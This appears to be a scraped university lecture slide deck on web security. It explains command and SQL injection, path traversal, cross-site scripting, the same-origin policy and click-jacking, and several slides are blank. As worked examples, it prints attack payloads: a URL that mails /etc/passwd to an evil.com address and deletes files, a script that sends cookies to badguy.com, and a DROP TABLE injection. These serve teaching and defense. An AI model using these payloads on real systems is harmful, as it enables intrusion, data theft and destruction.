Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern - - PowerPoint PPT Presentation

web security part 1
SMART_READER_LITE
LIVE PREVIEW

Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern - - PowerPoint PPT Presentation

Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson) 1 Web Server Threats What can happen? Compromise Defacement Gateway to attacking clients Disclosure (not mutually exclusive) And what makes


slide-1
SLIDE 1

Web Security, Part 1

(as usual, thanks to Dave Wagner and Vern Paxson)

1

slide-2
SLIDE 2

Web Server Threats

  • What can happen?

– Compromise – Defacement – Gateway to attacking clients – Disclosure – (not mutually exclusive)

  • And what makes the problem particularly tricky?

– Public access – Mission creep

2

slide-3
SLIDE 3

3

slide-4
SLIDE 4

4

slide-5
SLIDE 5

5

slide-6
SLIDE 6

6

slide-7
SLIDE 7

7

slide-8
SLIDE 8

8

slide-9
SLIDE 9

9

slide-10
SLIDE 10

10

slide-11
SLIDE 11

11

slide-12
SLIDE 12

12

slide-13
SLIDE 13

13

slide-14
SLIDE 14

14

slide-15
SLIDE 15

15

slide-16
SLIDE 16

16

slide-17
SLIDE 17

Attacking Via HTTP

URLs: Global identifiers of network-retrievable resources

http://user:pass@berkeley.edu:81/class?name=cs161#homework

Protocol Username Password Host Port Path Query Fragment 17

slide-18
SLIDE 18

Simple Service Example

  • Allow users to search the local phonebook for

any entries that match a regular expression

  • Invoked via URL like:

http://harmless.com/phonebook.cgi?regex=<pattern>

  • So for example:

http://harmless.com/phonebook.cgi?regex=daw|vern searches phonebook for any entries with “daw”

  • r “vern” in them
  • (Note: web surfer doesn’t enter this URL

themselves; an HTML form constructs it from what they type)

18

slide-19
SLIDE 19

Simple Service Example, con’t

  • Assume our server has some “glue” that parses URLs to

extract parameters into C variables

– and returns stdout to the user

  • Simple version of code to implement search:

/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; sprintf(cmd, "grep %s phonebook.txt", regex); system(cmd); }

19

slide-20
SLIDE 20

Simple Service Example, con’t

  • Assume our server has some “glue” that parses URLs to

extract parameters into C variables

– and returns stdout to the user

  • Simple version of code to implement search:

/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }

Are we done?

20

slide-21
SLIDE 21

A Digression into Breakfast Cereals

  • 2600 Hz tone a form of inband signaling
  • Beware allowing control information to come

from data

  • (also illustrates security-by-obscurity)

21

slide-22
SLIDE 22

Instead of http://harmless.com/phonebook.cgi?regex=daw|

vern

How about http://harmless.com/phonebook.cgi?regex=foo;

%20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm

/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }

Problems?

22

slide-23
SLIDE 23

How To Fix Command Injection?

snprintf(cmd, sizeof cmd, "grep ’%s’ phonebook.txt", regex);

…regex=foo’; mail -s hacker@evil.com </etc/passwd; rm’

Okay, then scan regex and strip ’ - does that work? regex=O’Malley Okay, then scan regex and escape ’ …. ? regex ⇒ O\’Malley (not actually quite right, but ignore that)

…regex=foo\’; mail … ⇒ …regex=foo\\’; mail … (argument to grep is “foo\”) Okay, then scan regex and escape ’ and \ …. ? …regex=foo\’; mail … ⇒ …regex=foo\\\’; mail … (argument to grep is “foo\’; mail …”)

23

slide-24
SLIDE 24

Input Sanitization

  • In principle, can prevent injection attacks by

properly sanitizing input

– Remove inputs with meta-characters

  • (can have “collateral damage” for benign inputs)

– Or escape any meta-characters (including escape characters!)

  • Requires a complete model of how input subsequently

processed

– E.g. …regex=foo%27; mail … – E.g. …regex=foo%25%32%37; mail …

» Double-escaping bug

  • And/or: avoid using a feature-rich API

– KISS + defensive programming

24

slide-25
SLIDE 25

/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char *path = "/usr/bin/grep"; char *argv[10];/* room for plenty of args */

char *envp[1]; /* no room since no env. */ int argc = 0; argv[argc++] = path;/* argv[0] = prog name */ argv[argc++] = "-e";/* force regex as pat.*/ argv[argc++] = regex; argv[argc++] = "phonebook.txt"; argv[argc++] = 0; envp[0] = 0; if ( execve(path, argv, envp) < 0 ) command_failed(.....);

}

25

slide-26
SLIDE 26

Command Injection in the Real World

26

slide-27
SLIDE 27

Command Injection in the Real World

27

slide-28
SLIDE 28

Structure of Modern Web Services

Browser Web server URL / Form Web page built from database command.php? arg1=x&arg2=y Database server

28

slide-29
SLIDE 29

PHP: Hypertext Preprocessor

  • Server scripting language with C-like

syntax

  • Can intermingle static HTML and code

<input value=<?php echo $myvalue; ?>>

  • Can embed variables in double-” strings

$user = “world”; echo “Hello $user!”; Or $user = “world”; echo “Hello” . $user . “!”;

  • Form data in global arrays $_GET,

$_POST, …

29

slide-30
SLIDE 30

SQL

  • Widely used database query language
  • Fetch a set of records

SELECT * FROM Person WHERE Username=‘oski’

  • Add data to the table

INSERT INTO Person (Username, Balance) VALUES (‘oski’, 10)

  • Modify data

UPDATE Person SET Balance=42 WHERE Username=‘oski’

  • Query syntax (mostly) independent of vendor

30

slide-31
SLIDE 31

SQL Injection Scenario

  • Sample PHP

$recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' "; $rs = $db->executeQuery($sql);

  • How can recipient cause trouble

here?

–How can we see anyone’s balance?

31

slide-32
SLIDE 32

SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient' ";

  • recipient = foo' OR 1=1 --

(“--” is a comment, it masks the lack of closing ‘)

  • Or foo'; DROP TABLE Person; -- ?
  • Or … change database however you wish

32

slide-33
SLIDE 33

Victim Server Victim SQL DB Attacker post malicious form unintended query receive valuable data 1 2 3

SQL Injection: Retrieving Data

33

slide-34
SLIDE 34

Victim Server Victim SQL DB Attacker post malicious form unintended command Database modified 1 2 3

SQL Injection: Modifying Data

34

slide-35
SLIDE 35

Defenses (work-in-progress)

Character-­‑level ¡taint ¡tracking: Check ¡that ¡keywords, ¡metachars ¡are ¡untainted. Secure ¡template ¡languages: Template ¡languages ¡should ¡automa9cally ¡quote

  • r ¡encode ¡subs9tu9ons ¡appropriately.

SELECT ¡u ¡FROM ¡t ¡WHERE ¡n='Bobby' ¡ ¡ü ¡ SELECT ¡u ¡FROM ¡t ¡WHERE ¡n='Bobby' ¡OR ¡1=1 ¡-­‑-­‑' ¡ ¡ ¡ ¡û <P>Hello ¡${username}! ¡ ¡Welcome ¡back.

Defenses (work in progress)

35

slide-36
SLIDE 36
  • 2. PHP code

executed by server

Injection via file inclusion

  • 3. Now suppose COLOR=http://badguy/evil

Or: COLOR=../../../etc/passwd%00 A form of directory traversal (or path traversal). Can also work directly w/ URLs: e.g.: http://victim.com/cgi-bin/../../../../../etc/passwd

(seen every day)

36

slide-37
SLIDE 37

Questions?

37

slide-38
SLIDE 38

Basic Structure of Web Traffic

38

slide-39
SLIDE 39

GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host: www.example.com Referer: http://www.google.com?q=dingbats

HTTP Request

Method Resource HTTP version Headers Data (if POST; none for GET) Blank line

GET: download data. POST: upload data.

39

slide-40
SLIDE 40

HTTP/1.0 200 OK Date: Sun, 19 Apr 2009 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Sat, 18 Apr 2009 17:39:05 GMT Set-Cookie: session=44eb; path=/servlets Content-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>

HTTP Response

HTTP version Status code Reason phrase Headers Data

Cookies

40

slide-41
SLIDE 41

Web Page Generation

  • Can be simple HTML:

<HTML> <HEAD> <TITLE>Test Page</TITLE> </HEAD> <BODY> <H1>Test Page</H1> <P> This is a test!</P> </BODY> </HTML>

41

slide-42
SLIDE 42

Or what else? Java, Flash, Active-X, PDF … <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Javascript demo page</title> </head> <body> <script type="text/javascript"> var a = 1; var b = 2; document.write(a+b); </script> </body> </html> Or what else?

Web Page Generation

  • Or a program, say written in Javascript:

42

slide-43
SLIDE 43

Structure of Web Traffic, con’t

43

slide-44
SLIDE 44

Structure of Web Traffic, con’t

44

slide-45
SLIDE 45

Browser Windows Interact

How to control just what they’re allowed to do?

45

slide-46
SLIDE 46

Same-Origin Policy

How does the browser isolate different sites? (Thanks in part to John Ousterhout and Giovanni Vigna)

46

slide-47
SLIDE 47

Web content comes from many sources, not all equally trusted Trusted and untrusted content are in close proximity

n frames, tabs, sequential visits

Must separate various forms of content so that untrusted content cannot corrupt/misuse trusted content

The Isolation Problem

47

slide-48
SLIDE 48

Attackers can buy ads, use them to attack good pages Advertiser gets to supply content for ad (e.g., good page links to advertiser site in <iframe>) Ad can contain <script> elements that access DOM, submit forms, etc. parent.frames[0].forms[0].submit; Even images are not safe: browsers will accept non-image content

Example: a “good” page displays a sponsored ad:

48

slide-49
SLIDE 49

49

slide-50
SLIDE 50

General Idea: separate content with different trust levels into different frames, restrict communication between frames One frame can access content in another frame only if they share the same origin

n (protocol, domain, port (in some browsers))

All modern browsers implement the same-origin policy Same origin applies to AJAX requests also

Same-Origin Policy

50

slide-51
SLIDE 51

Where same-origin doesn’t apply:

n <script> tags: Javascript executes with full privileges

  • f the enclosing frame

n <img> tags: may contain arbitrary HTML content

By itself, the same-origin policy is too restrictive: there are times when it is useful to allow frames with different

  • rigins to communicate

n More on this in a few minutes

Same-Origin (cont.)

51

slide-52
SLIDE 52

Same Origin Policy

  • Every frame in a browser window has a domain

– Domain = <server, protocol, port> from which the frame content was downloaded

Server = example.com, protocol = HTTP (maybe HTTPS)

  • Code downloaded in a frame can only access

resources associated with that domain

– Access = read and modify values, including page contents

  • If frame explicitly includes external code, it executes

within the frame domain even if from another host

<script ¡type="text/javascript"> ¡// ¡Downloaded ¡from ¡foo.com ¡ ¡ ¡ ¡ ¡ ¡ ¡src="http://www.bar.com/scripts/script.js"> ¡ ¡ ¡ ¡ ¡// ¡Executes ¡as ¡if ¡it ¡were ¡from ¡foo.com ¡ </script>

52

slide-53
SLIDE 53

Cross-Site Scripting (XSS)

Attack Server Victim client visit web site receive malicious page click on link echo user input 1 2 3 send valuable data 5 4 (A “reflected” XSS attack) Server Patsy/Victim

53

slide-54
SLIDE 54

The Setup

  • User input is echoed into HTML response.
  • Example: search field

– http://victim.com/search.php ? term = apple – search.php responds with:

<HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML>

  • Is this exploitable?

54

slide-55
SLIDE 55

Injection Via Bad Input

  • Consider link: (properly URL encoded)

http://victim.com/search.php ? term = <script> window.open( "http://badguy.com?cookie = " + document.cookie ) </script>

What if user clicks on this link?

1) Browser goes to victim.com/search.php 2) victim.com returns

<HTML> Results for <script> … </script> …

3) Browser executes script in same origin as victim.com

Sends badguy.com cookie for victim.com Or any other arbitrary execution / rewrite victim.com page !

55

slide-56
SLIDE 56

Stored Cross-Site Scripting

Attack Server Server Patsy/Victim User Victim Inject malicious script request content receive malicious script 1 2 3 steal valuable data 4

(A “stored” XSS attack)

56

slide-57
SLIDE 57

Stored XSS Example: MySpace.com

  • Users can post HTML on their pages
  • MySpace.com ensures HTML contains no

<script>, <body>, onclick, <a href=javascript://>

  • … but can do Javascript within CSS tags:

<div style="background:url('javascript:alert(1)')">

  • … and can hide "javascript" as "java\nscript"

Run arbitrary code in full MySpace context Exfiltrate data to attacker and/or make arb. MySpace changes User Victim Server Patsy/Victim

57

slide-58
SLIDE 58

Stored XSS Using Images

Suppose pic.jpg on a web server contains HTML !

  • Request for http://site.com/pic.jpg results in:

HTTP/1.1 200 OK … Content-Type: image/jpeg <html> fooled ya </html>

  • IE will render this as HTML (despite Content-Type)
  • Consider photo sharing sites that support image uploads
  • What if attacker uploads an “image” that is a script?

58

slide-59
SLIDE 59

XSS In General Terms

  • XSS vulnerability = attacker can inject scripting

code into pages generated by a web app

  • Methods for injecting malicious code:

– Reflected XSS

  • attack script reflected back to user as part of a page from the

victim site

– Stored XSS

  • attacker stores malicious code in a resource managed by the

web app, such as a database

– (DOM-based: injected script is just part of a web page’s document attributes)

59

slide-60
SLIDE 60

Protecting Servers Against XSS (OWASP)

  • OWASP = Open Web Application Security Project
  • The best way to protect against XSS attacks:

– Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. – Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. – We [= OWASP] strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Use White- listing Beware Black- listing

Client-side?

60

slide-61
SLIDE 61

Given the issues, how can we relax same origin but do so in a way that is secure?

61

slide-62
SLIDE 62

Consider www.facebook.com, facebook.com, and chat.facebook.com If two frames each set document.domain to the same value, then they can communicate:

n Must be a suffix of the actual domain n Must explicitly set document.domain even if the

value doesn’t change (e.g., chat.facebook.com, facebook.com)

Domain Relaxation

62

slide-63
SLIDE 63

Specifies one or more domains that may access this

  • bject’s DOM

Can use “*” to allow universal access Not clear how many browsers support this

Access-Control-Allow-Origin header in HTTP responses:

63

slide-64
SLIDE 64

Allows frames to send message to each other in a controlled fashion Sender (from domain a.com): Receiver (domain b.com) can check origin:

HTML5 postMessage mechanism

64

slide-65
SLIDE 65

Frames are too restrictive for some situations:

n Example: allow users to enter text that includes

markup An alternative:

n Don’t use frames: content from different sources

intermixed

n Analyze content before including in page:

w Don’t allow some features (HTML, Javascript) w Modify code to include additional run-time checks

for problem that can’t be detected statically Beware: Language-based isolation is very tricky and prone to loopholes!

Language-based isolation:

65

slide-66
SLIDE 66

Subset of Javascript for use in Facebook applications Facebook analyzes/rewrites Javascript before it gets to your browser Example:

n All identifiers get application-specific prefix to avoid

conflicts

n Can’t access DOM directly: instead of n must invoke FBJS method that enforces isolation

See http://wiki.developers.facebook.com/index.php/FBJS

Example: Facebook Javascript (FBJS)

66

slide-67
SLIDE 67

Who is allowed to decide what content appears in a frame? Original policy was permissive: any frame could navigate any other frame. Guninski Attack:

n Password field on Citibank website contained within a

frame

n Attacker could navigate this frame to an identical-

looking one owned by the attacker; steals password

n Attack can come from any open window or tab

Navigation

67

slide-68
SLIDE 68

A Guninski Attack

awglogin

window.open("https://attacker.com/", ¡"awglogin");

68

slide-69
SLIDE 69

What should the policy be?

Child Sibling Descendant Frame Bust

69

slide-70
SLIDE 70

Descendent policy: A frame can only navigate its children , and their children, etc. Most current browsers implement this policy

n Older versions such as IE6 and Firefox 2 are more

permissive

Solution:

70

slide-71
SLIDE 71

Cookies can be read and written from Javascript: Browsers use the same-origin policy to restrict access to cookies

Cookie Security

71

slide-72
SLIDE 72

Attacks on User Volition

  • Browser assumes clicks & keystrokes =

clear indication of what the user wants to do

– Constitutes part of the user’s trusted path

  • Attack #1: commandeer the focus of

user-input

  • Attack #2: mislead the user regarding

true focus (“click-jacking”)

72

slide-73
SLIDE 73

73

slide-74
SLIDE 74

74

slide-75
SLIDE 75

75

slide-76
SLIDE 76

76

slide-77
SLIDE 77

77

slide-78
SLIDE 78

78

slide-79
SLIDE 79

79

slide-80
SLIDE 80

Why Does Firefox Make You Wait?

… to keep you from being tricked into clicking!

80

slide-81
SLIDE 81

Click-Jacking

  • Demo #1: you think you’re typing to a familiar

app and you’re not

– E.g., ¡http://imchris.org/files/transparent-­‑ff.html

  • Demo #2: you don’t think you’re typing to a

familiar app but you are

– E.g., http://samy.pl/quickjack/twitter.html (note, doesn’t quite work)

  • Demo #3: you’re living in The Matrix

81

slide-82
SLIDE 82

Click-Jacking

  • Demo #1: you think you’re typing to a familiar

app and you’re not

– E.g., ¡http://imchris.org/files/transparent-­‑ff.html

  • Demo #2: you don’t think you’re typing to a

familiar app but you are

– E.g., http://samy.pl/quickjack/twitter.html (note, doesn’t quite work)

  • Demo #3: you’re living in The Matrix

82

slide-83
SLIDE 83

Let’s click here!

83

slide-84
SLIDE 84

Click-Jacking

  • Demo #1: you think you’re typing to a familiar

app and you’re not

– E.g., ¡http://imchris.org/files/transparent-­‑ff.html

  • Demo #2: you don’t think you’re typing to a

familiar app but you are

– E.g., http://samy.pl/quickjack/twitter.html (note, doesn’t quite work)

  • Demo #3: you’re living in The Matrix

84

slide-85
SLIDE 85

“Browser in Browser”

Apparent browser is generated by script running in real browser!

85

slide-86
SLIDE 86

86

slide-87
SLIDE 87

87

slide-88
SLIDE 88

Safe to type your password?

88

slide-89
SLIDE 89

Safe to type your password?

89

slide-90
SLIDE 90

Safe to type your password?

90

slide-91
SLIDE 91

Safe to type your password?

??? ???

91

slide-92
SLIDE 92

Safe to type your password?

92